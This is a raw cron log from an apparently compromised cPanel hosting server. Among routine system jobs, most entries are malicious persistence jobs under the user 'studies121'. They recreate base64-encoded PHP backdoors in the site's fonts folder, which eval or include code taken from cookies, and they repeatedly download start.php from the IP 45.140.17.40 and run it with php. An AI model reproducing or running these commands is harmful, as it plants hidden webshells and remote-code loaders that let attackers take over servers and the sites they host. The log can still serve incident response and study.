Sep  5 08:34:02 ip-184-168-122-23 CROND[10474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:34:02 ip-184-168-122-23 CROND[10472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:34:02 ip-184-168-122-23 CROND[10473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:35:01 ip-184-168-122-23 CROND[10575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:35:01 ip-184-168-122-23 CROND[10581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:35:01 ip-184-168-122-23 CROND[10578]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 08:35:01 ip-184-168-122-23 CROND[10582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:35:01 ip-184-168-122-23 CROND[10584]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:35:01 ip-184-168-122-23 CROND[10577]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 08:35:01 ip-184-168-122-23 CROND[10579]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:35:01 ip-184-168-122-23 CROND[10580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:36:01 ip-184-168-122-23 CROND[10678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:36:01 ip-184-168-122-23 CROND[10679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:36:01 ip-184-168-122-23 CROND[10680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:36:01 ip-184-168-122-23 CROND[10681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:36:01 ip-184-168-122-23 CROND[10682]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:37:01 ip-184-168-122-23 CROND[10853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:37:01 ip-184-168-122-23 CROND[10852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:37:01 ip-184-168-122-23 CROND[10854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:37:01 ip-184-168-122-23 CROND[10855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:38:01 ip-184-168-122-23 CROND[10972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:38:01 ip-184-168-122-23 CROND[10973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:38:01 ip-184-168-122-23 CROND[10974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:38:01 ip-184-168-122-23 CROND[10975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:38:01 ip-184-168-122-23 CROND[10977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:39:01 ip-184-168-122-23 CROND[11069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:39:01 ip-184-168-122-23 CROND[11070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:39:01 ip-184-168-122-23 CROND[11073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:39:01 ip-184-168-122-23 CROND[11071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:39:01 ip-184-168-122-23 CROND[11074]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 08:40:01 ip-184-168-122-23 CROND[11168]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:40:01 ip-184-168-122-23 CROND[11170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:40:01 ip-184-168-122-23 CROND[11171]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:40:01 ip-184-168-122-23 CROND[11173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:40:01 ip-184-168-122-23 CROND[11174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:40:01 ip-184-168-122-23 CROND[11177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:40:01 ip-184-168-122-23 CROND[11172]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 08:40:01 ip-184-168-122-23 CROND[11178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:41:01 ip-184-168-122-23 CROND[11293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:41:01 ip-184-168-122-23 CROND[11294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:41:01 ip-184-168-122-23 CROND[11295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:41:01 ip-184-168-122-23 CROND[11296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:42:01 ip-184-168-122-23 CROND[11395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:42:01 ip-184-168-122-23 CROND[11396]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:42:01 ip-184-168-122-23 CROND[11394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:42:01 ip-184-168-122-23 CROND[11398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:42:01 ip-184-168-122-23 CROND[11399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:43:01 ip-184-168-122-23 CROND[11518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:43:01 ip-184-168-122-23 CROND[11520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:43:01 ip-184-168-122-23 CROND[11524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:43:01 ip-184-168-122-23 CROND[11523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:44:01 ip-184-168-122-23 CROND[11912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:44:01 ip-184-168-122-23 CROND[11915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:44:01 ip-184-168-122-23 CROND[11916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:44:01 ip-184-168-122-23 CROND[11914]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 08:44:01 ip-184-168-122-23 CROND[11913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:45:02 ip-184-168-122-23 CROND[12032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:45:02 ip-184-168-122-23 CROND[12034]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:45:02 ip-184-168-122-23 CROND[12035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 08:45:02 ip-184-168-122-23 CROND[12037]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  5 08:45:02 ip-184-168-122-23 CROND[12039]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:45:02 ip-184-168-122-23 CROND[12038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 08:45:02 ip-184-168-122-23 CROND[12041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:46:01 ip-184-168-122-23 CROND[12157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
